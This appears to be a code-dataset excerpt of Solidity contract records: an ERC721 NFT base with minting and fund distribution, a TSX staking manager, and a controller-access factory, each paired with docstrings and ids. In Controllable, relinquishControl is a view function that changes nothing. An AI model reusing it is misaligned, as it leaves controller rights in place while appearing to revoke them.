https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, ERR); (bool success, ) = recipient.call{ value: amount }(''); require(success, ERR); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, ERR); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, ERR ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value && isContract(target), ERR ); (bool success, bytes memory returndata) = target.call{ value: value }(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, ERR); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), ERR); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, 'Address: low-level delegate call failed' ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), ERR); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Strings.sol /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = '0123456789abcdef'; string private constant ERR = "Strings"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return '0'; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return '0x00'; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = '0'; buffer[1] = 'x'; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, ERR); return string(buffer); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; string private constant ERR = "Ownable"; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), ERR); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), ERR); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, Ownable, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private constant ERR = "ERC721"; // Token name string private _name; // Token symbol string private _symbol; // Base URI string private _baseURI; // Mint pause control uint256 public mintPaused = 1; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function _initialize(string memory name_, string memory symbol_) internal { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), ERR); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), ERR); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), ERR); bytes memory bytesURI = bytes(_baseURI); if (bytesURI.length == 0 || bytesURI[bytesURI.length - 1] == '/') return string(abi.encodePacked(_baseURI, tokenId.toString(), ".json")); else return _baseURI; } function setBaseURI(string memory newBaseURI) external onlyOwner { _baseURI = newBaseURI; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, ERR); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), ERR ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), ERR); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), ERR ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), ERR ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Admin pause / unpause minting */ function setMintPaused(uint256 paused) external onlyOwner { mintPaused = paused; } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), ERR ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), ERR); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ''); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), ERR ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0) && !_exists(tokenId), ERR); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( to != address(0) && ERC721.ownerOf(tokenId) == from, ERR ); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, ERR); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } } /** * @dev OpenSea proxy registry to prevent gas spend for approvals */ contract ProxyRegistry { mapping(address => address) public proxies; } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; string private constant ERR = "Reentrancy"; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, ERR); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Implementation of Base ERC721 contract */ contract ERC721Base is ERC721, ReentrancyGuard { // OpenSea proxy registry address private immutable _osProxyRegistryAddress; // Address allowed to initialize contract address private immutable _initializer; // Max mints per transaction uint256 private _maxTxMint; // The CAP of mintable tokenIds uint256 private _cap; // ETH price of one tokenIds uint256 private _tokenPrice; // TokenId counter, 1 minted in ctor uint256 private _currentTokenId; string private constant ERR = "ERC721Base"; // Fired when funds are distributed event Distributed(address indexed receiver, uint256 amount); /** * @dev Initialization. */ constructor(address initializer_, address osProxyRegistry_) { _osProxyRegistryAddress = osProxyRegistry_; _initializer = initializer_; } /** * @dev Clone Initialization. */ function initialize( address owner_, string memory name_, string memory symbol_, uint256 cap_, uint256 maxPerTx_, uint256 price_) external { require(msg.sender == _initializer, ERR); _transferOwnership(owner_); ERC721._initialize(name_, symbol_); _cap = cap_; _maxTxMint = maxPerTx_; _tokenPrice = price_; // Mint our first token _mint(owner_, 0); _currentTokenId = 1; } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(_osProxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * @dev Distribute mint */ function mint(address to, uint256 numMint) external payable nonReentrant { require(mintPaused == 0 && numMint > 0 && numMint <= _maxTxMint && _currentTokenId + numMint <= _cap && msg.value >= numMint * _tokenPrice, ERR); for (uint256 i = 0; i < numMint; ++i) _mint(to, _currentTokenId + i); _currentTokenId += numMint; uint256 dust = msg.value - (numMint * _tokenPrice); if (dust > 0) payable(msg.sender).transfer(dust); } /** * @dev Distribute rewards */ function distribute( address[] calldata accounts, uint256[] calldata refunds, uint256[] calldata percents ) external onlyOwner { require( (refunds.length == 0 || refunds.length == accounts.length) && (percents.length == 0 || percents.length == accounts.length), ERR ); uint256 availableAmount = address(this).balance; uint256[] memory amounts = new uint256[](accounts.length); for (uint256 i = 0; i < refunds.length; ++i) { require(refunds[i] <= availableAmount, ERR); amounts[i] = refunds[i]; availableAmount -= refunds[i]; } uint256 amountToShare = availableAmount; for (uint256 i = 0; i < percents.length; ++i) { uint256 amount = (amountToShare * percents[i]) / 100; amounts[i] += (amount <= availableAmount) ? amount : availableAmount; availableAmount -= amount; } for (uint256 i = 0; i < accounts.length; ++i) { if (amounts[i] > 0) { payable(accounts[i]).transfer(amounts[i]); emit Distributed(accounts[i], amounts[i]); } } } /** * @dev return number of minted token */ function totalSupply() external view returns (uint256) { return _currentTokenId; } /** * @dev we don't allow ether receive() */ receive() external payable { revert('Not allowed'); } }
See {IERC721-safeTransferFrom}./
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), ERR ); _safeTransfer(from, to, tokenId, _data); }
613,871
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IStakingRewardsVault.sol"; import "../commons/MetaTransactionsMixin.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @dev {StakingManager}: */ contract StakingManager is Ownable, MetaTransactionsMixin { using SafeERC20 for IERC20; // Info for each user. struct UserInfo { uint256 amount; // LP token amount the user has provided. int256 rewardDebt; // The amount of TSX entitled to the user. } // Info of each staking pool. struct PoolInfo { uint256 relativeWeight; // Weight of the staking pool. uint256 accTSXPerShare; // Accumulated TSX per share, times 1e18. See below. uint256 lastRewardTime; // Last block ts that TSX distribution occurs } // Address of Rewards Vault. IStakingRewardsVault public rewardsVault; // Info of each pool. PoolInfo[] public poolInfo; // Address of the LP token for each pool. IERC20[] public lpToken; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Tokens added mapping (address => bool) public addedTokens; // Total weight. Must be the sum of all relative weight in all pools. uint256 public totalWeight; uint256 public claimablePerSecond; uint256 private constant ACC_TSX_PRECISION = 1e18; // Events event Stake( address indexed user, uint256 indexed pid, uint256 amount ); event Unstake( address indexed user, uint256 indexed pid, uint256 amount ); event EmergencyUnstake( address indexed user, uint256 indexed pid, uint256 amount ); event Claim( address indexed user, uint256 indexed pid, uint256 amount ); event LogAddPool( uint256 indexed pid, uint256 relativeWeight, address indexed lpToken ); event LogSetPoolWeight( uint256 indexed pid, uint256 relativeWeight ); event LogUpdatePool( uint256 indexed pid, uint256 lastRewardTime, uint256 lpSupply, uint256 accTSXPerShare ); event LogClaimablePerSecond(uint256 claimablePerSecond); /** * @dev constructor * @param _rewardsVault reward token address */ constructor(address _rewardsVault) Ownable() { rewardsVault = IStakingRewardsVault(_rewardsVault); } /** * @dev Returns the number of pools. */ function poolLength() public view returns (uint256) { return poolInfo.length; } /** * @dev Sets RewardVault * @param _rewardsVault reward token address */ function setStakingRewardsVault(address _rewardsVault) external onlyOwner { rewardsVault = IStakingRewardsVault(_rewardsVault); } /** * @dev Adds a new LP. Can only be called by the owner. * DO NOT add the same LP token more than once. Rewards will be messed up if you do. * @param _relativeWeight amount of TSX to distribute per block. * @param _lpToken Address of the LP ERC-20 token. */ function addPool(uint256 _relativeWeight, address _lpToken) external onlyOwner { require( addedTokens[_lpToken] == false, "StakingManager(): Token already added" ); totalWeight += _relativeWeight; lpToken.push(IERC20(_lpToken)); poolInfo.push( PoolInfo({ relativeWeight: _relativeWeight, lastRewardTime: block.timestamp, accTSXPerShare: 0 }) ); addedTokens[_lpToken] = true; emit LogAddPool( lpToken.length - 1, _relativeWeight, _lpToken ); } /** * @dev Update the given pool's TSX allocation point. * Can only be called by the owner. * @param _pid The index of the pool. See `poolInfo`. * @param _relativeWeight New AP of the pool. */ function setPoolWeight(uint256 _pid, uint256 _relativeWeight) external onlyOwner { totalWeight -= poolInfo[_pid].relativeWeight; totalWeight += _relativeWeight; poolInfo[_pid].relativeWeight = _relativeWeight; emit LogSetPoolWeight( _pid, _relativeWeight ); } /** * @dev Sets the tsx per second to be distributed. Can only be called by the owner. * @param _claimablePerSecond The amount of TSX to be distributed per second. */ function setClaimablePerSecond(uint256 _claimablePerSecond) external onlyOwner { claimablePerSecond = _claimablePerSecond; emit LogClaimablePerSecond(_claimablePerSecond); } /** * @dev Update reward variables of the given pool. * @param _pid The index of the pool. See `poolInfo`. * @return pool Returns the pool that was updated. */ function updatePool(uint256 _pid) public returns (PoolInfo memory pool) { pool = poolInfo[_pid]; if (block.timestamp <= pool.lastRewardTime) { return pool; } uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (lpSupply > 0) { uint256 time = block.timestamp - pool.lastRewardTime; uint256 tsxReward = time * claimablePerSecond * pool.relativeWeight / totalWeight; pool.accTSXPerShare += tsxReward * ACC_TSX_PRECISION / lpSupply; } pool.lastRewardTime = block.timestamp; poolInfo[_pid] = pool; emit LogUpdatePool( _pid, pool.lastRewardTime, lpSupply, pool.accTSXPerShare ); } /** * @dev Update reward variables for all pools. Be careful of gas spending! * @param _pids Pool IDs of all to be updated. Make sure to update all active pools. */ function massUpdatePools(uint256[] calldata _pids) external { uint256 len = _pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(_pids[i]); } } /** * @dev Stake LP tokens for TSX allocation. * @param _pid The index of the pool. See `poolInfo`. * @param _amount LP token amount to deposit. */ function stake(uint256 _pid, uint256 _amount) public { address senderAddr = msgSender(); PoolInfo memory pool = updatePool(_pid); UserInfo storage user = userInfo[_pid][senderAddr]; // Effects user.amount += _amount; user.rewardDebt += int256(_amount * pool.accTSXPerShare / ACC_TSX_PRECISION); // Transfer LP tokens lpToken[_pid].safeTransferFrom( senderAddr, address(this), _amount ); emit Stake(senderAddr, _pid, _amount); } /** * @dev Unstake LP tokens. * @param _pid The index of the pool. See `poolInfo`. * @param _amount LP token amount to unstake. */ function unstake(uint256 _pid, uint256 _amount) public { address senderAddr = msgSender(); PoolInfo memory pool = updatePool(_pid); UserInfo storage user = userInfo[_pid][senderAddr]; // Effects user.rewardDebt -= int256(_amount * pool.accTSXPerShare / ACC_TSX_PRECISION); user.amount -= _amount; // Unstake LP tokens lpToken[_pid].safeTransfer(senderAddr, _amount); emit Unstake(senderAddr, _pid, _amount); } /** * @dev Claim proceeds for transaction sender to `to`. * @param _pid The index of the pool. See `poolInfo`. */ function claim(uint256 _pid) public { address senderAddr = msgSender(); PoolInfo memory pool = updatePool(_pid); UserInfo storage user = userInfo[_pid][senderAddr]; int256 accumulatedTSX = int256(user.amount * pool.accTSXPerShare / ACC_TSX_PRECISION); uint256 pendingTSX = uint256(accumulatedTSX - user.rewardDebt); // Effects user.rewardDebt = accumulatedTSX; // Rewards rewardsVault.sendRewards(senderAddr, pendingTSX); emit Claim(senderAddr, _pid, pendingTSX); } /** * @dev Unstake LP tokens and claim proceeds for transaction sender to `to`. * @param _pid The index of the pool. See `poolInfo`. * @param _amount LP token amount to unstake. */ function unstakeAndClaim(uint256 _pid, uint256 _amount) public { address senderAddr = msgSender(); PoolInfo memory pool = updatePool(_pid); UserInfo storage user = userInfo[_pid][senderAddr]; int256 accumulatedTSX = int256(user.amount * pool.accTSXPerShare / ACC_TSX_PRECISION); uint256 pendingTSX = uint256(accumulatedTSX - user.rewardDebt); // Effects user.rewardDebt = accumulatedTSX - int256(_amount * pool.accTSXPerShare / ACC_TSX_PRECISION); user.amount -= _amount; // Reward rewardsVault.sendRewards(senderAddr, pendingTSX); // Unstake LP tokens lpToken[_pid].safeTransfer(senderAddr, _amount); emit Unstake(senderAddr, _pid, _amount); emit Claim(senderAddr, _pid, pendingTSX); } /** * @dev Unstake without caring about rewards. EMERGENCY ONLY. * @param _pid The index of the pool. See `poolInfo`. */ function emergencyUnstake(uint256 _pid) public { address senderAddr = msgSender(); UserInfo storage user = userInfo[_pid][senderAddr]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; // Unstake LP tokens lpToken[_pid].safeTransfer(senderAddr, amount); emit EmergencyUnstake(senderAddr, _pid, amount); } /** * @dev View function to see pending TSX on frontend. * @param _pid The index of the pool. See `poolInfo`. * @param _user Address of user. * @return pending TSX reward for a given user. */ function pendingRewards(uint256 _pid, address _user) external view returns (uint256) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accTSXPerShare = pool.accTSXPerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp - pool.lastRewardTime; uint256 tsxReward = time * claimablePerSecond * pool.relativeWeight / totalWeight; accTSXPerShare += tsxReward * ACC_TSX_PRECISION / lpSupply; } return uint256( int256(user.amount * accTSXPerShare / ACC_TSX_PRECISION) - user.rewardDebt ); } }
View function to see pending TSX on frontend. _pid The index of the pool. See `poolInfo`. _user Address of user. return pending TSX reward for a given user./
function pendingRewards(uint256 _pid, address _user) external view returns (uint256) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accTSXPerShare = pool.accTSXPerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp - pool.lastRewardTime; uint256 tsxReward = time * claimablePerSecond * pool.relativeWeight / totalWeight; accTSXPerShare += tsxReward * ACC_TSX_PRECISION / lpSupply; } return uint256( int256(user.amount * accTSXPerShare / ACC_TSX_PRECISION) - user.rewardDebt ); }
13,138,823
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../interfaces/IControllable.sol"; abstract contract Controllable is IControllable { mapping(address => bool) _controllers; /** * @dev Throws if called by any account not in authorized list */ modifier onlyController() { require( _controllers[msg.sender] == true || address(this) == msg.sender, "Controllable: caller is not a controller" ); _; } /** * @dev Add an address allowed to control this contract */ function _addController(address _controller) internal { _controllers[_controller] = true; } /** * @dev Add an address allowed to control this contract */ function addController(address _controller) external override onlyController { _controllers[_controller] = true; } /** * @dev Check if this address is a controller */ function isController(address _address) external view override returns (bool allowed) { allowed = _controllers[_address]; } /** * @dev Check if this address is a controller */ function relinquishControl() external view override onlyController { _controllers[msg.sender]; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../access/Controllable.sol"; import "../pool/NFTGemPool.sol"; import "../libs/Create2.sol"; import "../interfaces/INFTGemPoolFactory.sol"; contract NFTGemPoolFactory is Controllable, INFTGemPoolFactory { address private operator; mapping(uint256 => address) private _getNFTGemPool; address[] private _allNFTGemPools; constructor() { _addController(msg.sender); } /** * @dev get the quantized token for this */ function getNFTGemPool(uint256 _symbolHash) external view override returns (address gemPool) { gemPool = _getNFTGemPool[_symbolHash]; } /** * @dev get the quantized token for this */ function allNFTGemPools(uint256 idx) external view override returns (address gemPool) { gemPool = _allNFTGemPools[idx]; } /** * @dev number of quantized addresses */ function allNFTGemPoolsLength() external view override returns (uint256) { return _allNFTGemPools.length; } /** * @dev deploy a new erc20 token using create2 */ function createNFTGemPool( string memory gemSymbol, string memory gemName, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxMint, address allowedToken ) external override onlyController returns (address payable gemPool) { bytes32 salt = keccak256(abi.encodePacked(gemSymbol)); require(_getNFTGemPool[uint256(salt)] == address(0), "GEMPOOL_EXISTS"); // single check is sufficient // validation checks to make sure values are sane require(ethPrice != 0, "INVALID_PRICE"); require(minTime != 0, "INVALID_MIN_TIME"); require(diffstep != 0, "INVALID_DIFFICULTY_STEP"); // create the quantized erc20 token using create2, which lets us determine the // quantized erc20 